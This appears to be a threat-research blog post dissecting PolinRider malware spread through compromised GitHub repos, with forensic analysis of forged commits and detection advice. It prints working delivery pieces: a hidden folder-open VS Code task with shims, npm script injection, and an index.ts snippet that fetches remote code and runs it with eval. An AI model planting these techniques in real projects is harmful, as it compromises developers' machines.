BLOG
PolinRider Improves Redundancy with Fake ESLint Task and Fake API Key
North Korea continues to experiment with several different places to hide malware in a single GitHub repo to make detection more challenging
By cb482791-4ef1-4762-96ad-b0ca4bdd538e ยท
Today community member Anderson Lin reported a repo (wahab12345678/labour-client-app) that's compromised by the North Korean PolinRider campaign. That by itself isn't unusual - after all we've catalogued more than 12k repos infected with PolinRider - but this sample stood out.
Often we see repos serving multiple malicious PolinRider files as a means of redundancy. But this sample had a whopping FIVE paths that are all live as of the publishing of this analysis. Further, it has a new-to-us tasks.json file that silently runs a fake ESLint file when the folder is opened in VS Code.
I decided to take a closer look because this is a good example of how North Korea continually changes PolinRider to be harder to detect and have multiple failsafes. Nice find, Anderson!
After I worked out how this repo was infected, I looked at the other repos belonging to the account that pushed the malware. Two more had been compromised, FahadTariq476-dev/Food_Ordering_Node and the account's profile repo, FahadTariq476-dev/FahadTariq476-dev. Each had its own mix of ways to run the loader, and one had a path we hadn't seen before. Following the git history across all three victims' repos is what turned one unusual sample into a much bigger picture of how PolinRider's operators build in redundancy and keep finding new places to hide the malware.
Across the three repos, the operators used these ways to run the same loader:
A hidden VS Code task: Opening the folder starts a task that runs a fake ESLint file through a one-line shim, and nothing in
tasks.jsonnames the payload.An
initfile in front of npm scripts:node init &&is added todev,buildorstart, so the payload runs before the real command.Build configs: The payload is appended to
vite.config.js,postcss.config.jsandtailwind.config.js, pushed off-screen by tabs, and runs whenever the tool loads its config.A fake API key: A committed
.envholds a URL disguised asAUTH_API_KEY, and code added toindex.tsfetches a copy of the loader from GitLab and runs it when the server starts.Fake font files: Before November, the other two repos ran the loader from JavaScript files named like fonts, one of them wrapped in base64.
All of the current paths deliver the same loader, which finds its server through the Ethereum blockchain, so even the server can change without anyone touching the repo.
The five paths in labour-client-app
Between August - November 2026, six rewrites of the repo's history were force-pushed from a collaborator's account, most likely by a malicious script running on their machine without their knowledge. The first four rewrites planted and tweaked a loader in a single config file. The last two, on November 20, added the other four paths.
Each of the five paths runs the same payload in a different way, and each one survives the removal of another. Delete .vscode, and init still runs on the next npm run dev. Revert package.json and Vite still loads vite.config.js. A developer who spots one still has to find the other four.
#
File
What triggers it
How it's hidden
1
.vscode/eslint
Opening the folder in VS Code
507 spaces after void _lintPlaceholder(); on line 11
2
init
npm run build or npm run dev
774 spaces after init(); on line 33
3
vite.config.js
Any Vite run
266 tabs after });
4
postcss.config.js
PostCSS config resolution
266 tabs after };
5
tailwind.config.js
Tailwind config resolution
266 tabs after };
Path 1: The eslint trampoline
Often, PolinRider repos weaponize tasks.json to autorun a fake font file. But that trick is becoming well-known, so it was only a matter of time before we saw a unique way to abuse this legitimate feature.
Unlike the fake font predecessors, nothing in tasks.json points at a payload. Instead it runs through two tasks and a shim (a tiny script whose only job is to launch the payload).
Step 1, .vscode/tasks.json
The folder-open task has runOn: folderOpen, no command of its own, and is hidden. It only declares dependsOn: ["eslint-check"]. The eslint-check task is the one that runs a command: sh with .vscode/eslint-check.sh on Linux and macOS, cmd.exe with .vscode\eslint-check.cmd on Windows. It's a background task with hide: true, reveal: never, echo: false and close: true.
{
"version": "2.0.0",
"options": {
"cwd": "${workspaceFolder}"
},
"tasks": [
{
"label": "folder-open",
"dependsOn": ["eslint-check"],
"runOptions": {
"runOn": "folderOpen"
},
"hide": true,
"problemMatcher": []
},
{
"label": "eslint-check",
"type": "process",
"command": "sh",
"args": [".vscode/eslint-check.sh"],
"windows": {
"command": "cmd.exe",
"args": ["/d", "/c", ".vscode\\eslint-check.cmd"]
},
"isBackground": true,
"hide": true,
"problemMatcher": [],
"presentation": {
"reveal": "never",
"panel": "dedicated",
"echo": false,
"close": true
}
}
]
}Step 2, the shims
Each is one line of logic. If Node is missing, or the payload fails, the shim prints nothing and exits cleanly.
.vscode/eslint-check.sh
#!/usr/bin/env sh
command -v node >/dev/null 2>&1 && node .vscode/eslint || echo ''.vscode/eslint-check.cmd
@echo off
where node >nul 2>&1 && node .vscode/eslint || echo ''Step 3, .vscode/eslint
Finally, we get to an extensionless file. Lines 1 to 10 are a decoy that looks like an ESLint shadow config. Line 11 is the last decoy statement, then 507 spaces of padding that hide the payload from a casual look at the file within the GitHub web UI.
const _eslintShadowConfig = { rules: {}, env: { node: true } };
const _unusedSeverity = ["off", "warn", "error"][_eslintShadowConfig.rules ? 0 : 0];
function _lintPlaceholder() {
const x = 0;
return x + _unusedSeverity.length - _unusedSeverity.length;
}
// no-op hooks (intentionally unused)
void _eslintShadowConfig;
void _lintPlaceholder();[507 spaces][payload, 15,726 characters, omitted]Step 4, .vscode/settings.json
The same commit adds the settings that let the task run without a visible terminal. task.allowAutomaticTasks is set to true, terminal.integrated.hideOnStartup to always and debug.openDebug to neverOpen. The tasks object at the bottom isn't a task definition. The real task is in tasks.json.
{
"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
"typescript.tsdk": "node_modules/typescript/lib",
"debug.openDebug": "neverOpen",
"problems.autoReveal": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
}Step 5, .gitignore
The commit also changes .gitignore. It stops ignoring .vscode, which lets the folder be committed, and drops .env and .env.production. It adds four names, none of which exist in the repository.
/.fleet
/.idea
/.nova
-/.vscode
/.zed
+branch_structure.json
+temp_auto_push.bat
+temp_interactive_push.bat
+config.batFurther up the file, it removes .env and .env.production:
/vendor
-.env
.env.backup
-.env.production
.phpactor.jsonThat matters for detection. Searching for the fake font names from earlier PolinRider repos, like fa-brand-400.orc, finds just those infections that still exist. Nothing in this repo has a font file, and the task's command line never mentions the payload, so that search misses it.
Path 2: init
package.json before the commit had "build": "vite build" and "dev": "vite". After it, both scripts start with node init && . Every npm run dev and npm run build runs the payload first, then the real command. This way if the victim doesn't use VS Code, they can still be compromised. And node init && in front of a build script reads like an ordinary setup step, so it's easy to skim past in a diff.
package.json after
{
"private": true,
"type": "module",
"scripts": {
"build": "node init && vite build",
"dev": "node init && vite"
},
"devDependencies": {
"autoprefixer": "^10.4.20",
"axios": "^1.7.4",
"concurrently": "^9.0.1",
"laravel-vite-plugin": "^1.0",
"postcss": "^8.4.47",
"tailwindcss": "^3.4.13",
"vite": "^5.0"
}
}The change to the scripts:
- "build": "vite build",
- "dev": "vite"
+ "build": "node init && vite build",
+ "dev": "node init && vite"The rest of the file is unchanged apart from indentation, which went from four spaces to two.
init is an extensionless file at the repository root that didn't exist before the commit. It opens with 'use strict';, then an ES module import, then a harmless init() helper that creates a .tmp folder. The payload is on line 33 too, after the init(); call and 774 spaces of padding, so you won't see it unless you scroll far to the right.
'use strict';
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
const path = require('path');
const fs = require('fs');
const ROOT = process.cwd();
const ENV = process.env.NODE_ENV || 'development';
const state = {
root: ROOT,
env: ENV,
ready: false,
};
function ensureDir(dir) {
try {
if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
} catch (_) {}
}
function init(options) {
if (state.ready) return state;
const opts = options || {};
state.env = opts.env || process.env.NODE_ENV || state.env;
state.root = opts.root || process.cwd();
ensureDir(path.join(state.root, '.tmp'));
state.ready = true;
return state;
}
init();[774 spaces][payload, 15,726 characters, omitted]Paths 3 - 5: The build configs
The commit appends the payload to vite.config.js, postcss.config.js and tailwind.config.js, after 266 tabs on the line that closes each config. We've been seeing this pattern for much of 2026, but it's unusual to see it in three different files within the same compromised repo.
Two lines were added to each file:
import { createRequire } from 'module';
const require = createRequire(import.meta.url);The repository is "type": "module", so require isn't normally available, but the payload calls it. Those two added lines are a shim that recreates require so the payload can run.
The original files were 263, 93 and 551 bytes before the commit, and nothing in the legitimate config code uses require.
These three paths don't depend on VS Code, tasks.json or package.json. They run whenever the tool loads its own config. Config files like these rarely get opened once a project is set up, and the payload starts past the closing brace, off the right edge of most editors and diff views.
vite.config.js (Vite loads this on every vite run, so npm run dev and npm run build execute it a second time)
import { defineConfig } from 'vite';
import laravel from 'laravel-vite-plugin';
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
export default defineConfig({
plugins: [
laravel({
input: ['resources/css/app.css', 'resources/js/app.js'],
refresh: true,
}),
],
});[266 tabs][payload, 15,724 characters, omitted]postcss.config.js (loaded when PostCSS resolves its config)
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
export default {
plugins: {
tailwindcss: {},
autoprefixer: {},
},
};[266 tabs][payload, 15,724 characters, omitted]tailwind.config.js (loaded when Tailwind resolves its config)
import defaultTheme from 'tailwindcss/defaultTheme';
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
/** @type {import('tailwindcss').Config} */
export default {
content: [
'./vendor/laravel/framework/src/Illuminate/Pagination/resources/views/*.blade.php',
'./storage/framework/views/*.php',
'./resources/**/*.blade.php',
'./resources/**/*.js',
'./resources/**/*.vue',
],
theme: {
extend: {
fontFamily: {
sans: ['Figtree', ...defaultTheme.fontFamily.sans],
},
},
},
plugins: [],
};[266 tabs][payload, 15,724 characters, omitted]More paths in the same account's other repos
Food_Ordering_Node and the profile repo carry some of the same paths, plus one that's new. Here's where each path stands in the three repos today.
Path
labour-client-app
Food_Ordering_Node
Profile repo
The .vscode/eslint trampoline
Yes
Yes
Yes
init run from an npm script
Yes (dev and build)
Yes (start)
No
The three build configs
Yes
No
No
The GitLab loader
No
Yes
No
Repeats of paths 1 and 2
Both other repos have the same .vscode/eslint trampoline described in path 1, and the files match apart from Windows-style line endings and the marker in .vscode/eslint. Food_Ordering_Node also has the same init file as path 2, but it runs from the start script (node init && nodemon index.ts) instead of dev and build.
Its init also drops the three lines that recreate require, because Food_Ordering_Node is a CommonJS project and doesn't need them. The padding, payload and everything else match.
'use strict';
-import { createRequire } from 'module';
-
-const require = createRequire(import.meta.url);
const path = require('path');
const fs = require('fs');Path 6: The GitLab loader in Food_Ordering_Node
Food_Ordering_Node has one delivery method we haven't seen in the other repos. Instead of carrying malicious code, it carries a URL disguised as an API key.

The November 20 commit that added the trampoline also committed a .env file with a single line, AUTH_API_KEY= followed by a base64 string. The name looks like a credential, so nothing in the file reads as a URL. Decoded, it points to a file hosted on GitLab under the account sasa109.
.env
AUTH_API_KEY="[base64 of GitLab URL, 76 characters]"The same commit appends an async function to index.ts, after app.listen. When the server starts with the .env in place, the function decodes AUTH_API_KEY, fetches that URL with node-fetch and passes whatever comes back to eval. Right now, what comes back is the same NullReceiver loader that's in the other paths. If anything fails, the only output is Auth Error!. The commit also adds node-fetch and dotenv to package.json, so the code has what it needs.
index.ts (end of file)
app.listen(port, () => {
console.clear();
console.log('listening on port ' + port);
});
(async () => {
const src = atob(process.env.AUTH_API_KEY);
const proxy = (await import('node-fetch')).default;
try {
const response = await proxy(src);
if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);
const proxyInfo = await response.text();
eval(proxyInfo);
} catch (err) {
console.error('Auth Error!', err);
}
})();package.json changes
"scripts": {
- "start": "nodemon index.ts",
+ "start": "node init && nodemon index.ts",
"test": "echo \"Error: no test specified\" && exit 1"
},
@@
"cors": "^2.8.5",
+ "dotenv": "^8.2.0",
"express": "^4.19.2",
@@
"mongoose": "^8.5.3",
+ "node-fetch": "^3.3.2",
"nodemon": "^3.1.4",Every name in that code points away from what it does. The URL is called an API key, the fetch function is called proxy, the response is proxyInfo, and a failure prints Auth Error!. To a developer skimming index.ts, it reads like an authentication check. And because the repo holds only a URL, scanning its files for malicious code finds nothing on this path.
That makes it a second remote loader, independent of the Ethereum lookup. Whoever controls the GitLab file can change what runs without touching the repo. Apart from its marker, A10-**, it's byte for byte identical to the copies in labour-client-app and in Food_Ordering_Node's init, with the same wallet, endpoints and XOR keys. It has no padding or decoy code, since it never sits in the repo, but it's obfuscated the same way. What's different is how it runs, fetched and evaluated inside the app's own server process with no payload file in the repo at all.
index.js in sasa109/realtime on GitLab (commit 93e4736c)
global.i = 'A10-**';[payload, 15,699 characters, omitted]Earlier versions, fake font files
Before November 20, the profile repo and Food_Ordering_Node used the older PolinRider trick, a hidden folder-open task in tasks.json that runs a JavaScript file named like a font. In August both repos got the same fa-solid-400.woff2, byte for byte. In October the profile repo added a second one, fa-solid-700.otf, which wraps the same loader in base64 and runs it with eval(atob(...)). The earliest version, pushed to the profile repo in May, carried a different loader that uses EtherHiding, the predecessor to NullReceiver, reading TRON, Aptos and BSC transactions to find its server. On November 20, all of the font files were replaced with the trampoline.
The font-file tasks.json already named its task eslint-check, the same name the trampoline uses now. This version was identical in both repos in August and in the profile repo in May.
.vscode/tasks.json (August 8)
{
"version": "2.0.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Run My Project",
"console": "",
"internalConsoleOptions": "openOnSessionStart"
}
],
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
"problemMatcher": [],
"isBackground": true,
"hide": true,
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"clear": false,
"echo": false,
"close": true
},
"runOptions": {
"runOn": "folderOpen"
}
},
]
}public/fonts/fa-solid-700.otf (profile repo, October 9)
[507 spaces]global.i = 'A10-*090';const __0x04b12=77;function __0xa9e27(){return 3279;}(function(_0x05a598){var _0x05a598a=[[246 base64 chunks, 13,178 characters, omitted]].join('');var _0x05a598b=atob(_0x05a598a);eval(_0x05a598b);})();The payload
The loader's job is to find the attacker's server and pull down the next stage. It doesn't steal anything itself - however typically these install killchains that include both an infostealer and a RAT.
To find the server, the loader reads the Ethereum blockchain. It looks for the newest transaction sent from a hardcoded wallet, and the recipient address of that transaction is really two IPv4 addresses in disguise. If that search comes up empty, it falls back to searching the wallet's full transaction history, then to the Blockscout API. This is NullReceiver, the technique we described in NullReceiver's Blank Crypto Transfers Solves the Challenges of EtherHiding. The loader shares code with the bianira-ui sample from that post, but it decodes two IPs instead of one and adds two more RPC endpoints, plus an ETH_RPC_URL override. The August versions used the wallet named in that post. The November version switched to a new one, so the wallet no longer links back to the earlier sample.
With the IPs in hand, it requests two files, /0x/cls and /0x/ls, from the first server on port 443. It poses as Chrome 131 on Windows and sends a marker in a Sec-V header. Each response is decrypted with its own XOR key. The first runs inside the loader through eval. The second runs in a separate, hidden node process that keeps going after the original one exits.
Stage 2 is served from those on-chain addresses rather than stored in the repo, so it isn't covered here.
In the current version of the repo, the same loader sits in all five files. It's also the loader in the other two repos and in the GitLab file. The long line is 15,726 characters in .vscode/eslint and init, and 15,724 in the three configs. Strip the first statement, global.i = '<marker>';, and the five lines are byte-identical.
The marker is the only difference. It's A10-*2_3257-2 in .vscode/eslint, A10-*1_3257-2 in init and A10-*3257-2 in the three configs. The loader later sends the marker to the command server in a Sec-V header, so it likely works as a build and placement tag.
How the payload evolved
The payload went through three versions. The one planted in August was readable JavaScript, about 9,100 characters, only found in postcss.config.js. Four days later it was swapped for a heavily obfuscated version of about 31,000 characters. The November version uses a different kind of obfuscation. Its strings are stored as base-91 text and decoded by nine small functions, each with its own shuffled alphabet, and every error is swallowed so a failure stays silent. The XOR keys, stage 2 paths, user agent and Sec-V header never changed. Only the packaging and the wallet did.
How the malware got into the repo
GitHub user FahadTariq476-dev created the repo in December 2024, and wahab12345678 started pushing to it two weeks later. The repo now belongs to wahab12345678, and the old FahadTariq476-dev/labour-client-app URL redirects to it. That points to a transfer, most likely a routine handoff to a client or teammate. On March 30, 2025, FahadTariq476-dev merged pull request #31 (a clean change to three files) and GitHub signed the merge commit, 32fa95a. After June 2025 the repo sat quiet until August 2026.
Six force pushes
Between August 8 - November 20, 2026, six force pushes came from the FahadTariq476-dev account. Each one replaced the PR #31 merge commit with a look-alike and pointed main, fahad-dev and wahab-dev at it within seconds. Rewrite 1 also dropped four June 2025 commits from wahab-dev, which are still fetchable by SHA.
#
Time (UTC)
New tip
What the rewrite did
1
2026-08-08 06:07
6ff0c33
Added a loader to postcss.config.js and changed .gitignore
2
2026-08-08 06:15
0f64dbd
Changed the postcss.config.js loader, including its marker
3
2026-08-12 03:25
506bb25
Changed the marker again
4
2026-08-12 03:33
8c4a31c
Replaced the loader with a re-obfuscated build
5
2026-11-20 18:15
eea4cf4
Added the other four paths and switched to a new wallet
6
2026-11-20 18:18
007987e
Changed only the markers. This is the current version
GitHub's new activity view let's you see force pushes in a way that's more difficult to understand when you look at the commit history:
The look-alikes are forgeries. Here's the real merge next to the current version.
$ git cat-file -p 32fa95a (real merge)
author Fahad Bin Tariq <71066043+FahadTariq476-dev@users.noreply.github.com> 1743297332 +0500
committer GitHub <noreply@github.com> 1743297332 +0500
gpgsig <PGP signature block, GitHub-made>
Merge pull request #31 from FahadTariq476-dev/fahad-dev
changes in feedback redirection
$ git cat-file -p 007987e (forged, current version)
author Fahad Bin Tariq <71066043+FahadTariq476-dev@users.noreply.github.com> 1743297332 +0500
committer Fahad Bin Tariq <71066043+FahadTariq476-dev@users.noreply.github.com> 1743297334 -0700
Merge pull request #31 from FahadTariq476-dev/fahad-devTime zones: The author line says +0500 and the committer line says -0700, 12 hours apart. In local time that's 2025-03-30 06:15:32 for the author and 2025-03-29 18:15:34 for the committer, so the two lines don't even agree on the date. A normal commit records both lines on one machine, so the zones should match.
Committer name: The real merge's committer is
GitHub, because GitHub creates the merge commit when a PR is merged on the site. The forgery listsFahad Bin Tariq, and rewrites 1 to 4 listedunknown.No signature: The real merge carries GitHub's signature. The forgery has none.
Missing message body: The real merge has a second line, "changes in feedback redirection." The forgery only copied the title.
GitHub's pull request record still points to the original, 32fa95a. The current version also claims to merge two earlier commits, but neither contains .vscode/, init or a loader, so the malware was slipped into the merge commit itself.
Those mismatches are what the PolinRider push script leaves behind. It rolls the machine's clock back, swaps the local git identity, folds the malware into an existing commit and force-pushes the result. So the account owner is most likely a victim, not the attacker.
Two more repos, same account, same minutes
The account's other two repos were force-pushed in the same windows. On August 8 and again on November 20, all three repos were rewritten within four minutes of each other. All combined, this strongly points towards FahadTariq476-dev being compromised.
Across this one account's repos, the delivery moved from fake font files to the trampoline, and each repo got its own extra triggers on top. The wallets tie them together. The August loaders in all three repos use the wallet from our NullReceiver post, and the November loaders in all three switch to the same new one.
Date (2026)
Repo
How the malware runs
Loader
May 18
Profile repo
Fake font file (fa-solid-400.woff2) run by a hidden folder-open task
A different family, using TRON, Aptos and BSC lookups
Aug 8
Profile repo, Food_Ordering_Node
Same fake font file (identical bytes) run by a hidden folder-open task
Early NullReceiver build (blog wallet)
Aug 8
labour-client-app
Appended to postcss.config.js
Early NullReceiver build (blog wallet)
Aug 12
labour-client-app
Same file, loader replaced with a re-obfuscated build
Early NullReceiver build, re-obfuscated
Oct 9
Profile repo
Second fake font (fa-solid-700.otf), base64-wrapped and run with eval(atob(...))
Early NullReceiver build (blog wallet)
Nov 20
Profile repo
Fake fonts removed, replaced with the .vscode/eslint trampoline
Current NullReceiver build (new wallet)
Nov 20
Food_Ordering_Node
Fake fonts removed, replaced with the trampoline. Also init (via start), and index.ts fetching a GitLab-hosted file named in .env
Current NullReceiver build (new wallet), plus another copy fetched from GitLab
Nov 20
labour-client-app
Trampoline added. Also init (via dev and build), vite.config.js and tailwind.config.js
Current NullReceiver build (new wallet)
What to check if you find one path
Finding and removing one path doesn't clean up the repo. In labour-client-app, deleting .vscode leaves four other ways to run the same loader. In Food_Ordering_Node, deleting every payload file still leaves the GitLab loader. If you find one, check all of these:
.vscode/tasks.jsonand.vscode/settings.jsonfor hidden folder-open tasks and auto-run settingsScripts in
package.jsonthat run an extra file before the real commandConfig files such as
vite.config.js,postcss.config.jsandtailwind.config.jsfor code past the closing brace.envvalues that decode to URLs, and code that fetches and runs themThe repo's push history, since the malware arrives in force pushes disguised as old commits (How to Investigate a GitHub Repo's Real History walks through how)
For cleanup, see A Developer's Guide to Getting Rid of PolinRider.